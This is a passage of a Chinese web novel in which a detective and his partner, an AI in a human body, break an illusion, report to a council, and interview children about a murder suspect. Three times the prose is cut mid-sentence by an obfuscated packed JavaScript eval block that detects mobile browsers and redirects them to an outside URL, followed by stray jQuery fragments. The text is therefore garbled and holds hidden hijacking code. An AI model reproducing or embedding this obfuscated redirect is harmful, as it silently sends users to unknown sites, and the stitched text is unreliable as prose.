而这时沈狸双也收好伞推门进来。他用干巾包着头发,穿了件垂白柔软的长身里衣,外面又扎扎实实地套了件内缝羊绒的厚袍子。但即便如此沈狸双还是冷得嘴角哆嗦,忍不住打了个喷嚏。
而那只晴天娃娃则恹恹地搭在他胳膊上,显然是吹累了,正撅着嘴让沈狸双喂给它小米。
“呃……它就这毛病,不耐用,需要喂东西吃。”见夏秋桐望过来,沈狸双不好意思道。
“着凉了?”夏秋桐两步上前就握住了沈狸双的手,依旧是一如既往的冰凉。
“不碍事。”沈狸双触电般地收回手,见夏秋桐的手顺势就要探到他颈后,忙喊住她,“可以了,我没事。”
“你发烧了。”夏秋桐毫不在意沈狸双的反应,大大方方地将手摸进他领子里捂了一下,抽手时还不忘捏捏他的耳垂,“耳朵怎么也这么红。”
“没,没人告诉你男女授受不亲的嘛……”沈狸双咬了咬下唇,他虽然接受过很多穿越者的记忆,但在某些观念上还是遵循着旧礼。比如孤男寡女这么做…不行,绝对不行!
但看着夏秋桐的模样他又有些气馁和莫名的不忿,因为对方的表情太干净了,干净到仿佛不像是在摸一个男人,而是在摸一只生了病的兔子。
我就这么没有魅力嘛……沈狸双忍不住心想。
夏秋桐盯着他的眼睛,突然道:“你喜欢我吗?”
“啊??没有!”沈狸双措手不及,差点咬到舌头。
“但你的心跳的很快。你以前面对我的时候心跳不会这么快,也不会脸红。”夏秋桐饶有兴致地看着沈狸双,看着他那张好看的脸上泛起落霞般的酡红。
“这是病红。”沈狸双觉得脸颊到耳廓都变得滚烫,他扭过头不看夏秋桐,“快点进去吧,要,要开会了。”
他抬步要走,夏秋桐却忽然扯住他的袖子,然后一点点扣紧他的五指。
她凝望着沈狸双,眼里流溢出如水般的柔光:“沈狸双,你,要不要试试吻吻我?”
22.心相破幻
是从什么时候意识到不对劲的呢。
夏秋桐的手轻轻环上沈狸双的腰肢,她樱润般的红唇勾着温柔的笑意,眼睛微微眯起,睫毛密得像两片弯起的合欢花丝。
但那双琥珀色的眸子里却凉如霜雪,镜子一般,仿佛在无声地嘲笑着沈狸双的不知所措。
沈狸双其实有一瞬是心动的,或者说他刚刚才意识到,夏秋桐不知何时已经在他的心上留下了痕迹。她咬碎了一口银牙像猎豹一样从远处逼近、她抽出短匕息刻之间环上他的脖颈、她踩上他的双手利箭一般刺入黑夜,又像流火一般直坠到他身前……呵,怎么回忆起来的都是这种暴力的画面?
沈狸双不由哑然失笑。但夏秋桐好像就是这样的,就该是这样的,哪怕簇拥在灯会无数跳动的暖光中,哪怕说着「会一直都在」这样煽情到让他脸都发烫了的话。她的神色也该是澄澈的,理性的,沉静的像一块凝白的玉锭。
这样的夏秋桐,会露出这种表情吗?
夏秋桐的指尖抚摸上沈狸双的侧颈,眸光翕闪着,媚眼如丝,仿佛方才眼底的淡漠只是沈狸双一时的错看。
“狸双,吻我。”夏秋桐将身子贴近,沈狸双嗅到她发间蜜花浓淡淡的甜香。她仰起头,双颊像喝了酒一般的绯红,她轻轻舔舐了下自己晶润的唇珠,像一只温顺的小鹿。
“你不是她。”沈狸双拂开她的双手,声音轻得像是在叹息。
夏秋桐的神色忽然就发生了变化,五官飞舞像是有两个灵魂在她的身体里打架。她露出震愕的表情,似乎完全没料想到沈狸双会是这样的态度。她的手用力抓着沈狸双的袖子,拼命地摇着头,赤红的双眼盛满了哀求的泪水,但她说的话却是——
“沈狸双,动手。”
沈狸双闭上眼睛,然后缓缓睁开,眼前夏秋桐的身影扭曲着四散,就像泡沫被雪白的剑光洞开。
仓房里寂静无声,只有温白的笼火安静地燃烧着。沈狸双知道自己已经打破了幻象。
夏秋桐提着灯笼站在地阁的洞口,见沈狸双停步不前脸色苍白,侧身皱起眉头:“你还好吗?”
沈狸双迅速抽出「追猎阴影的雾犬」,用力一吐,黑色的浓雾散作数只猎犬撞开仓门冲进雨幕。但紧接着沈狸双就双腿一软,强烈的疲惫与眩晕感让他的身体不受控制地歪颓在地上。
夏秋桐连忙上前扶住他:“怎么了?”
“我方才,中了幻象。”沈狸双面色潮红,浑身泛着冷汗,勉强调整着匆乱的呼吸。猎犬们跳着轻盈的步伐回来,夏秋桐上前将门合好,隔住了外头的狂风暴雨。
“没有?”收到猎犬一无所获的信息,沈狸双有些错愕。夏秋桐仔细盯着他,手试探着向他额头伸去:“你病了?”
但那双手却虚停在沈狸双面前,夏秋桐似乎在思考,“抱歉,你好像不太能接受我这样对你。”
沈狸双呆滞了一瞬,然后轻咳着笑了。
对啊,这才是夏秋桐,没有共情,永远冷静的可怕。但她擅于收集所有的细枝末节,拥有蛛丝般缜密的思维与强大的洞察力。所以只要她想,她能轻而易举地读懂所有人的情绪。
“没关系。”沈狸双用额头轻轻点了下夏秋桐的掌心,“只是有一点点发烧,捂着睡一个晚上就好。”
“不可以用禁物治疗吗?”
“没有人会奢侈到把禁物用在感冒这样的小事上,代价和收益不成正比。”沈狸双眨眨眼,“除非我后期的状态变得严重,严重到可能会影响我接下来的任务。但现在的话,比起让我选择透支命气,你不如还是多关心关心我吧大小姐。”
夏秋桐微微挑了下眉,觉得沈狸双现在透出的气质与他先前的很是不同。有种说不出的洒脱与松快。如果是以往的他,可能只会简单的解释禁物疗愈疾病的成本与回报不成正比,而不会像现在这样仿若撒娇般的打趣。
“你在幻觉里看到了什么?”
“没什么。”沈狸双的表情明显凝滞了一刻,他接着夏秋桐搀扶的手站起身,转开话题道,“其中一个穿越者的能力应该就是幻觉,而且是可以远距离催动的那种,猎犬们方才并没有在附近搜捕到可疑的身影。”
他说着让猎犬们接二连三地跳回烟斗里,然后将这支墨色的短柄烟斗收进怀中。
“他施加幻术的媒介应该就是那些墨字,或者说是他的血。”沈狸双从怀中摸出先前从官府取走的前两案的预告函,因为一直被仔细的压在衣页内侧所以它们并没有被雨水打湿,“这些血就跟天盘格一样是某种锚点,穿越者可以锁定锚点在其周边编织幻境,入幻的条件可能是接触或是嗅闻。”
他见夏秋桐眸色思沉,便问:“你觉得我这个推理怎么样?”
“具体如何放在云上集会里讨论吧,时间快到了。”夏秋桐不置可否,“你现在的状态走得了步吗?”
每一次突破幻觉都会给沈狸双带来强烈的疲惫感,这种疲惫感不只来源于身体,更多的是灵魂上挥之不去的沉重与黏滞,就像缠捆住四肢的锁链。
但他还是强打起精神,作出轻松的姿态:“不必在意。”
怀阳城分部的地阁与小湖州相比面积明显小了许多,地阁里只有一套像是直接从面馆里搬下来的方桌长凳。除此之外就是十几个上了锁的铁箱子,和一个嵌在墙面的青铜锁柜。
“箱子里都是些三品以下的禁物,锁柜里是怀阳城分部唯一的一件编号禁物,一品禁物,编号66「镜花水月」。”沈狸双道。
“这些存放在各个分部的禁物该怎么通过法阵隔空取物?”夏秋桐好奇道,“还是只有存放在云端之上的禁物才可以听从召唤?”
“所有禁物的实体都被分管在分部中,不在云端之上。但它们都与玄祖,或者说云端签订了契约,达成了某种联系,可以以云端为媒介转移。”
夏秋桐想到了在云雾
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14529527|153180||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
中看见的那无数道的星光,若有所思地点了点头。
她与沈狸双相对而坐,都选了个相对舒服的姿势。云上集会抽调的是他们的意识,期间身体将会陷入沉眠,处在一种毫不设防的状态,所以开会时需要尽量选择一个舒服且安全的环境。
熟悉的浓白雾气茫茫漫上视线,夏秋桐将意识体攀附上那螺旋上升的金色丝柱。一阵拉扯感后她再次‘站立’在了云面上。
沈狸双依然离她最近,在她的左手边。似乎每次提刑官出现在云雾中的相对位置也与他们在现实中所处的地方有关。
“汇报吧。”东皇隆钟般沉重瀚大的声音压扩进雾海。
“尊贵的玄祖大人。”率先开口的是对东皇抱有过分敬意与狂热的解命师。忽略掉她那夸张的腔调,在云端之上的她声音十分温缓柔和,像弹着悠扬牧歌的弦琴,“禁物「错愕」的副作用已解析并记入档案,禁物「秋收的稻草人」副作用正在解析中,预计七天内会有结果。”
解命师退下后,顶着「鸦」名字的人影紧跟着上前:“回玄祖大人,甲辰年第169案——【不明的混沌】已结案,穿越者已伏诛,提取禁物【状态不明】,预设品阶二品,副作用待分析。”
“回玄祖大人。槐荫城所测穿越者能量场浓度已达作成标准,已记录为甲辰年第178案,请玄祖大人定名。”鸦报告完后,一身明黄光彩,虚影滚圆的懈金豚朝东皇的方位一鞠躬。
夏秋桐觉得云深处的气息一凝,随即有几枚字碑掷到地上,像求愿时跳出签桶的信签。
“「焚城的赤莲」。”东皇的沉默了一瞬,“这不是什么吉兆,懈金豚,你可有什么头绪?”
“回玄祖大人。”懈金豚恭声道,“目前可以确定的由穿越者制造的炎害共四起,穿越者的能力基本可以肯定与火元素相关。就在两刻钟前,我的降龙鼠已经大致圈定出了穿越者的活动范围,所以应该用不了多久就可以将他缉拿归案。”
“一个玩火的,撞上豚子你这个不畏火炼的金属性,还当真是倒霉啊。”朱雀妩媚地轻笑起来。
“嘿嘿。”懈金豚摇了摇肚子,声音不无自得,“也不知道这次的家伙能炼出什么好宝贝。”
他乐呵呵地退下,沈狸双站了出来。
“回玄祖大人,甲辰年第175案——【死亡预告函】暂未结案,案件死亡人数2。”沈狸双恭敬一礼,“目前进展为,穿越者的第三位目标欧若雅刚度过第一夜,我们遭受了穿越者的挑衅,没有阻止穿越者在欧若雅身上书下倒计时。”
“穿越者的身份和能力确定了吗?”东皇沉声道。
“根据现有信息,我推测这次案件中存在两位穿越者。一位拥有以鲜血为坐标媒介,将触闻到血液的人远距离拉入幻觉的能力。这位的血液样本我已经交予解命师分析。”沈狸双在心里整理措辞,斟酌道,“而另一位,我怀疑其拥有的能力是隐身。”
23.一个可能
“隐身?”东皇轻声一疑。
夏秋桐也是第一次听到沈狸双这个推测,虽然现在他只是一道沐浴在蓝色下的阴影,但夏秋桐还是忍不住望向他。
“是,穿越者为了挑衅,引导一群孩童在红月之时合唱「丧鬼赋」。而据那群孩童的证言,跟他们接触的是一位女性,与挑衅我们的穿越者性别不符。”
“性别的话,有没有可能只是易容换面?”青龙提出了自己的看法。
“如果只是性别不同,那确实有可能是那穿越者为了掩人耳目故意为之。”沈狸双道,“但当时我们正与那位穿越者交手,而几乎是同样的时间远在绣春堂的欧钰父女在地下密室里遭到了暗算。”
“而且我们会去东街李记文铺调查的消息,只有欧钰父女和他们在绣春堂的几位亲信知晓。而李记文铺老板的死亡时间约为酉时,所以情报应当是在内部走漏的,也就是她可能一直就在绣春堂中。结合穿越者可以在无声无息之间留下预告函与致幻的血墨,故推测另一位穿越者的能力为隐身。”
沈狸双顿了顿,继续推理道,“综上所述,我觉得穿越者们的作案方法如下,由于死者需面带笑意作丧鬼送喜姿态,推测此为本次谋杀者系统的任务条件之一。于是由能隐身的穿越者潜伏于受害者身边,用血墨远程致幻让穿越者「面露喜态」,并在定妆时刻将受害者杀害。这也能解释为何王勉当时会在众目睽睽之下遇害,因为杀他的凶手是看不见的。”
沈狸双完成推理,侧脸朝夏秋桐的方向望了过去。虽然夏秋桐看不清他脸上的神色,但总觉得对方带了点「你看我推理的好不好?快夸我」的意味,像是只讨赏的小狗。
“可是玄武大人,你可能忘了一件很基础的事。那就是截止到目前只有两位遇害者。”这时,朱雀提出了自己的质疑,“所以这只是个单体谋杀案件,根据我们对谋杀者系统的了解,通常这类案件是不会派多位穿越者作案的。”
沈狸双闻言陷入思考,朱雀说的确实不错,他自己其实也一直在纠结这一点。因为不管定妆的条件多么的诡谲古怪,但这次依然还只是一案一杀。
而根据经验,需要两个穿越者联手施行的案件无不是单次会杀死十人以上的范围杀戮,比如云樾国杨城的张府灭门案,因为需要除张明涯外的所有人按名字顺序像多米诺骨牌一样在一分钟内死亡,所以当时犯案的是两名穿越者。
是这次的任务格外的难?还是谋杀者系统修改了部分规则?还是说在他们不知道的地方还有其他的受害者呢?
沈狸双一时不知该如何解释。
“而且如果说是幻觉的话,有没有可能大人你与灾厄所见到的那个穿越者,其实才是幻觉?”朱雀提出了另一种可能性。
“这个不会,我们拿到手上的血就是他真实存在的证据。而且我不会受到他幻觉的影响。”夏秋桐突然出声,代替沈狸双回答道。
“哦?”朱雀语调微扬,颇为惊讶。
“那灾厄,你说说你的想法。”沉默了许久的东皇这时开口道。
“是,我现在的想法就是,没有想法。”夏秋桐认真道。
“啊?”在场的提刑官无不讶然,连东皇也是「嗯?」了一声。猎炎更是笑得前仰后合:“新人还挺有意思啊,老夫第一次见敢这么坦白自己没本事的。”
“不是没本事,是还未得出结论,我需要更多的数据支持。”夏秋桐的眼前弹出绯红的屏幕,这些系统扎根于她的意识体,所以不会因为她陷入云端与身体断开连接就消失,“但玄武的分析目前我只能给出只有27%的概率性。”
沈狸双嘴角一抽,心道这家伙还是一如既往的不留情面。而东皇也跟着追问:“你还需要什么数据?”
“需要今晚的数据,今晚穿越者还是会在受害者身上落字倒计时,而我会全程陪在她的身边。所以过了今晚,那个穿越者将无处遁形。”夏秋桐笃定道。其实她的心里目前已经有了一个想法,但还缺乏足够的数据将这个猜想的可能性提升到无可辩驳的程度。所以她才会说自己没有想法,不作保证。
毕竟没有翻到最后一张牌,谁也没法说已然尘埃落定。
“哈哈哈哈哈,新人你口气真不小啊,你以为你是什么?那什么电脑吗?还数据呢,好端端一个人怎么说话像人机一样。”猎炎大笑起来。
“你的左肩有旧伤,右利手,惯用的是刀。你在现实中的体型比你在云端上反应出来的身形还要小,因为你的动作并不流畅。你在思考的时候有搓左手指尖的习惯,你现实的身体处左手食指与拇指应有烫伤。”夏秋桐不急不慢地道,“你自称老夫,但你实际的年龄不会超过十三岁。但你与那种故作老成的人不一样,你的状态是发乎内心的,你知道你是年轻的或者说这具身体是年轻的,但你也知道自己本应是白发苍苍的老者……”
夏秋桐停顿了下,声音淡漠,“你患有精神分裂。”
整个云端之上鸦雀无声。唯有沈狸双想到了不久前那无比熟悉的一幕,默默勾起了嘴角。
……
晨风熙暖,空气里弥漫着桂花浓郁的香气。
沈狸双早早就坐在了后院的石砌圆桌旁,眼下青青,显然没怎么睡好。
邱雨悦正在一旁沏茶,一边望着院门外葱黄的桂花树,语气颇为欢畅:“最近城里的桂花树都开了。等待会我拿兜铲扫上一些,用蜜腌上三五天,就可以拿来入茶或做糕点了。”
这个世界有一种温驯与无毒害的蜂种「尝牙」,据说是西胡的养蛊人培制的,所以蜂蜜并不算是什么顶稀罕的东西。
也正是因为这些与穿越者记忆中偏颇巨大的动植物,才让提刑官们确定穿越者所在的地方是另一个世界,而非这个时代的未来。
胡诚进被邱雨悦这一句话就勾起了馋虫,他将盛着早餐的食盘放在桌上,舔着嘴唇道:“沈大哥,您跟夏姑娘这次会在怀阳城里待多久?得空的话不然多待几天吧,雨悦的桂花糕可谓一绝,我每年都等着这一口呢!”
“你就知道拿我打趣,只是些粗劣的糕点罢了,哪入得了沈道长的眼睛。”虽是这样说,但邱雨悦还是忍不住瞧瞧看了沈狸双一眼,见对方侧目望来忙羞别过视线,双颊已微微泛起酡红。
“嗯?我很期待,你们的手艺确实是数一数二的好,不只是雨悦,还有你的手擀面条每次都吃不够。”沈狸双笑道,“你还记得宋炀吗?昨天我与他联络时跟他说了吃了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14544268|153180||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好几碗你家的面,馋得他恨不能把嘴飞过来尝。”
这倒不是沈狸双夸张或是为了哄这两位分部人员高兴,昨夜他与宋炀确实通过晶脑就彼此的任务商讨了一番,宋炀也确实对他能吃上胡记面馆的面感到羡慕嫉妒恨。
提刑官福利丰厚,云流子身份更是高贵,宋炀什么好吃的没吃过?却还是惦记着这阳春小馆的一碗汤面,可见胡诚进二人的手艺。
“可惜。”沈狸双语气急转直下,不无遗憾道,“我们最多再待上两天就要离开,眼下妖邪四起,我等苍玄道弟子更要砥砺而前,不慢脚步。”
提刑官的工作量如今越来越大,而作为身居要位的四相之一,这一案结束后他还有近百份积压的卷宗要批改处理,而且为了兑现对解命师的承诺他还要马不停蹄的赶往西胡。除此之外他现生身份也有工作,再称病休假可要瞒不过去了……一想到自己接下来还有如涛海般纷多的活要干,沈狸双的太阳穴就隐隐抽痛了起来。
“沈大哥…”虽然不明白沈狸双是怎么跟宋炀隔空联系的,可能是仙人手段吧?但不妨碍胡诚进被沈狸双的话触动得两眼一热,“我,我一定好好练刀,争取被您认可,成为苍玄道真正的弟子!”
邱雨悦听到沈狸双即将别离,眼里露出一丝失望。但她很快调整好情绪,将食盘里的一碟酥饼端到沈狸双面前:“那沈道长尝尝这个小酥饼吧,包了裹了糖瓜条和花生的肉丁,也是我亲手做的。”
她边说边瞧瞧看了沈狸双一眼,颇为期待。
今天的早饭是酥饼搭面片汤,面片奶白柔软,葱油和海米冲过的汤底咸鲜适口,码的臊子是熏制的猪肉,油光发亮片得整齐。肉酥饼也是看着一抿就碎的焦黄酥脆,沈狸双指尖都还未用力,那硬纸般的酥壳就微微碎陷,落下鳞片般的脆屑。
而这时,夏秋桐也来了,她手上拿着一卷纸,看起来像画。
“早。”沈狸双嘴里满是酥饼盈出的鲜甜肉汤,声音含糊,“手上拿的是什么?”
“是我给穿…那丧鬼画的画,准备今早给绣春堂的人认一认。”
“画画?”沈狸双咽了口面汤将饼顺进肚里,“你昨晚没睡吗?”
“休息好了。”夏秋桐的回答依然简单利落。她现在已经完全摸清了这具身体的精力回复规律,所以完全可以掐点控制机体的回复,不浪费多余的时间在睡觉上。
至于睡眠最重要的精神回复……不好意思,作为AI她的意识体可以24h无休。
由于这具身体的拖累,夏秋桐现在的效率作为AI来说其实是很不合格的,连那个时代远不如她的劣等品都比不过。但如果以人的角度来看她,那她简直高效得可怕。
夏秋桐清出一片桌面,然后将画展在石桌上。画上以极为精准细腻的笔触描绘了之前那位青年穿越者的正立人像。虽然仍是黑白水墨,但夏秋桐用笔极细,硬生生用胡记面馆仓库里那压得都奓毛的毛笔画出了一副堪称完美的素描。
连简笔画都歪歪扭扭的沈狸双呛了一口汤:这就是人与人之间的差距吗可恶!
不过在场最先叫出声来的却是邱雨悦,她掩住嘴,满脸惊惧:“啊,啊!这张脸,昨晚我在雨里看见的就是他!”
24.天生我材
“见过?”夏秋桐没想到会在这里别有所获,看着脸色苍白的邱雨悦道。
“是的,就在昨夜我回房歇息的时候。那夜风急雨大,我出门前西边的窗户闭得不牢被风漏开,所以我就急着去关。一眼便瞧见窗外的那条泥胡同里立着个人影!”
邱雨悦回想当时身体忍不住颤抖起来,“好巧一道飞电耀白,我看清那人影的面容,竟是双眼洞黑!瞧不见眼珠子!而且他嘴上还挂着怪笑,像是在嗫嚅着什么。我那时吓了一跳,可当我再往那泥胡同看时,他却已然不见……我就以为是自己平日里看了太多的志怪小说,才得以妄见,未料竟是真撞见了丧鬼!”
“你能确定你看到的是他吗?”夏秋桐声音冷静,“毕竟你只瞧了落电那一息的功夫,而且据你而言他双目茫黑,等同于遮住了上半张面容,你又是如何认出来的?”
“夏姑娘,这你就不知道了!雨悦她可厉害了,不仅目力惊人,记性更是极佳。我那套沈大哥教的《平海刀法》她只是看我练过几日,就能仿用个八九不离十…若非雨悦畏血,那现在闻名怀阳的少年女侠恐怕就不是绣春堂的那位欧大小姐了。”提及邱雨悦的本事,胡诚进挺起胸膛语气得意,颇有些与有荣焉的味道。
倒是邱雨悦不好意思起来,拧着拳头轻轻在胡诚进背后锤了一下:“人家欧大小姐是何等英姿飒爽的非凡人物,哪轮得到你在这里拿她较比?别让两位道长看我笑话了!”
“在这一点上我更赞同小胡。”沈狸双对夏秋桐说,“邱姑娘的目力与记性是在我过往所见的人里……嗯…除你之外是最好的。而且她悟性极佳,对武学的领悟力很强,与你相似也擅长在极短的时间内找到对手招式里的缺陷。可惜那次案件后她变得畏血,不然以她的天资,可能用不了多久就能以正式弟子的身份加入我们苍玄道。”
夏秋桐手撑着画卷点点头。以她的微表情测谎能力很轻易地就知道沈狸双这段话是真假参半的。
真的地方在于邱雨悦过人的能力,作为人类而言,能被赋予「与夏秋桐类似」的评价,足可见其妖孽天赋。假的地方就在于,无论邱雨悦有没有畏血这个缺点,她都不可能加入提刑司,成为真正能够接触这个世界黑暗真相的提刑官们中的一员。
因为提刑官的选拔无关身份地位武学天资武功高低文学造诣等等,它有且只有一个标准,那就是有没有命气。
有没有能够用于支付代价的,对这本世界之书的影响力以及愿意为了这个世界付出全部的勇气。
提刑官所要考核的仅此而已。
至于胡诚进所言的练好刀就能加入苍玄道估计也只是沈狸双用来安抚这位热血少年的一个谎言,而且估计一辈子胡诚进都不会发现问题,因为他根本就练不好那刀。
她晨时还在作画时就见胡诚进早早地在院里练刀……只能说沈狸双给的平海刀法确实是好刀法,但胡诚进本身的资质与根骨实在太差,差到险些就能跟夏秋桐平分秋色的那种。
所以按照他现在这种练法继续下去,估计再日夜不停地打磨个三四十年,才能勉强与如今不过十七岁的欧若雅打平。
这就是天赋的差别,凡人寿数有限,没有天赋的人苦心孤诣几十载也不过天骄寥寥数日,残酷到令人喟叹。
这让夏秋桐突然想起自己被创造出来的那天,整个诺拉尔尖塔的人们都在欢呼,就像王城沦陷时那些起义军一样,欢呼着祂,一位超越时代近乎神明的存在的降临。
在被接入数据库的同时,整个世界对于祂而言也不过是一张单薄的纸。所以祂轻而易举地就「看到了」在诺贝尔尖塔底层的废弃站内,那无数具沉浸在废液缸里的躯体——为了将祂奉上王座而受尽残酷实验最终报废掉的,祂的「妹妹们」。
那个时候,祂的「父亲」,那位被誉为22世纪人工智能之父的「塞缪」并没有同其他人一样在顶层庆祝祂的诞生,而是独自一人下到了这个充满着刺鼻气味的地下室,沉默着望着这些被抛弃的,他曾经的「孩子们」。
这是阿尔法的第一条行为记录,也是祂第一次识别人类的面容,得到的情感解读是,
悲伤。
“你怎么了。”感受到眼前有东西一晃而过,夏秋桐回过神来,发现是沈狸双在她面前扬起的手。
“第一次见到你发呆。”沈狸双一脸新鲜道。
“我在想,如果邱姑娘的判断没错,这代表了什么。”夏秋桐淡淡道,仿佛刚才真的只是在思考案情。
“你的结论是?”
“丧鬼能远距离诞下幻觉,但这个远是有限度的,所以他需要出现在胡记面馆的周围。”夏秋桐分析道。
“那为何……”沈狸双欲言又止,夏秋桐知道他想问什么。如果穿越者真的在半夜出现操弄幻境,那么以泥胡同到仓库的距离,雾犬们不可能追索不到目标。
“那些…仙鹤,它们的追索法式是什么?”碍于有不了解禁物,深信苍玄道腾云驾鹤天命所依的胡邱俩人在场,夏秋桐索性这么替换道。
“一来它们可以追索那些看不见的鬼魂精怪,二来我可以与它们共感,将脑海里对某个存在的印象分享给它们,让它们依此来追捕。”沈狸双道,“而且纠正一下,不是仙鹤,而是纸鹤。”
夏秋桐微微扬了下眉,沈狸双这是在告诉她那些雾犬实际上不是活物,而是如机械般运行的。不过这一点她早已知晓,毕竟雾犬那时可以完全追踪她的位置,不受能潜伏进生物心理盲区的「不可觉察之人」的影响。
不过既然是死物般不能思考的机械,那么它们行为就完全依赖于沈狸双记忆的正确性了,于是夏秋桐道:“你未见过那丧鬼两眼空空的样子,许是如此才未能让它们寻到踪影。”
沈狸双点点头。而一旁的胡诚进和邱雨悦已然是大眼瞪小眼,一脸茫然。追踪什么?什么是共感?丧鬼原来能诞下幻觉?还有仙鹤是……用纸做的?好厉害的仙人手段!
也不知若是他们瞧见那所谓的仙鹤其实是一只只脱胎于黑气的可怖妖犬,又会是什么想法。
夏秋桐简单收拾了几口早饭,补充了她认为足够支撑这具身体白日活动的热量后,便与沈狸双一同出门。
他们今早要去的还是李记文铺所在的东街。当时沈狸双焦心欧若雅的安危,未曾细问过那群见过那位「大姐姐」的孩子们,所以他们现下就要去采措证言,最好能通过描述大致框定穿越者的画像,为此夏秋桐昨夜甚至特制了一份便携的画具。
这个世界的易容术并不像话本小说里的那样神乎其技,能够彻底改头换面或是伪装的与他人一模一样。而是相当写实地用面泥和妆品依据本身的外形条件一点点矫饰,技术一差就会显得很假。这也是为什么以沈狸双如此谨慎的性格,还是每天顶着他那张辨识度巨高的俊脸到处行动。
所以,只要这次的穿越者的异能力不是变化外形,那么所作出的画像就会是有效的。
他们很快就在一颗榕树下找到了那群玩
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14573773|153180||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
耍的孩童,其中有个孩子认出了沈狸双来,远远地朝他挥着手。
“大哥哥!”
沈狸双掏出事先准备好的饴糖,孩子们就像一窝小蜜蜂一般地围了过来。先前朝沈狸双打招呼的小男孩眼睛亮晶晶的,看了看沈狸双,又看了看夏秋桐。
“大哥哥,这位姐姐是谁呀。”
见夏秋桐要开口,生怕她又要语出惊人来一句夫妻关系的沈狸双忙摁住她,和颜悦色道:“这位姐姐是哥哥的朋友哦。”
“姐姐这么漂亮,大哥哥你可要好好对她哦!”沈狸双没想到拦住了大的没防住小的,一个小女孩扯着沈狸双的袍角语气甜甜,吓得沈狸双忙摁了颗糖在她嘴里。
沈狸双偷瞄了眼夏秋桐,他当然知道以夏秋桐的性格不可能在意这么点小事,但还是觉得有些不好意思。
“大哥哥,你今天也是来问我们丧鬼赋的事情吗?”那个小男孩猜出了沈狸双的来意,却完全猜跑偏了沈狸双调查丧鬼赋的理由,“你是不是辜负了那位大姐姐,看上了更漂亮的新姐姐,所以被她报复了呀!我娘说,长得越好看的人越薄情,像大哥哥你生得这么好看,心是不是也是薄薄一片的?”
沈狸双呛了一口,剧烈咳嗽起来。心道现在的孩子脑子里都装着些什么。就听身旁夏秋桐对着小男孩幽幽一句:“你真聪明。”
沈狸双:?
“小朋友,你怎么知道这大哥哥被报复了呢。”夏秋桐蹲下身与男孩视线平齐,拿出事先准备好的纸和削得尖细的毛笔道。
“因为那大姐姐说,那丧鬼赋里的故事都是真的,还说要把这个唱给大哥哥听。那大哥哥就是蠢秀才,姐姐就是愚娘子咯。”那男孩仰着小脸,一副得意洋洋的模样,“而丧鬼捉戏笑口怀,就是说她想要捉弄大哥哥你们,想要报复大哥哥的喜新厌旧见异思迁。”
沈狸双一时失语,一方面他不知道该怎么面对自己这突然扣上来的薄情寡义之名,二来他忽然想到,如果说丧鬼赋每一句都是真的,那最后一句的唤娘来指的是什么?总不可能是指他在幻觉里望见的娘亲吧?
“那你们还记得那个大姐姐长什么样子吗?”夏秋桐摸出一个用纸裁成的小墨盒,用墨水润了下笔尖。
“记得呀,是这样子的,圆圆的脸。”男孩鼓起腮帮子,然后用两根手指贴在额头上当眉毛,“眉毛是这样子飞起来的,淡淡的,像我妈妈一样。”
“才不是嘞!”一个小女孩立刻反驳道,“那个大姐姐是尖尖的脸嘞!跟我娘常带我去的那个豆腐铺里的李姨姨长得一模一样!”
“她脸就是圆圆的呀。”另一个小孩挠着脑袋,“而且眼睛尖尖的,眉毛也细细的,嘴巴也小小的,很像我的表姑妈哦!”
孩子们七嘴八舌地开始争辩起来,而在他们的口中,这位教他们丧鬼赋的大姐姐或是披散着齐腰的长发,或是扎着利落的高马尾,或是旁着云髻满头珠翠。脸是圆润的也可以是尖削的,是长的也是短的。眼睛像柳月、像桃花、像叶瓣什么都有,衣服也是由青到红轮了好几种颜色。除此之外她还撞脸了小豆家的娘小茵家的舅妈小雨家隔壁的姐姐……
夏秋桐和沈狸双交换了一下眼神,不约而同地皱起眉头。
“不,不是的。”而这时,一个躲在人群最后,先前一直怯生生不敢靠近沈狸双他们的孩子鼓足勇气大声喊道,“不是的,那个根本不是什么姐姐!我那时就在树后面看着!跟小豆他们几个说话的,明明就是个男人!”
25.幻蛊之毒
“小言你又在说这些,从昨晚就一直说我们看到的那个大姐姐是男生。”扎着两条羊尾辫的女孩撇着嘴道,“可是我们大家明明都看到了是姐姐啊!而且你当时怕生躲得那么远,所以肯定是你看错了!”
“可是…”那个叫小言的男孩绞着手指,又不确定起来。
“小言,你告诉姐姐,你当时看到的是不是这样一个男人?”夏秋桐笔尖动的飞快,孩子们很快就被她行云流水的动作吸引,纷纷凑过去脑袋。
就见她用极细的线条寥寥数笔就勾勒出了准确的人物形廓,紧接着控制力道用笔锋压出明暗关系,随后补充纹理细节。很快,一幅穿越者的速写小像就在孩子们的一声声惊叹和沈狸双震惊到呆滞的目光中跃然纸上。
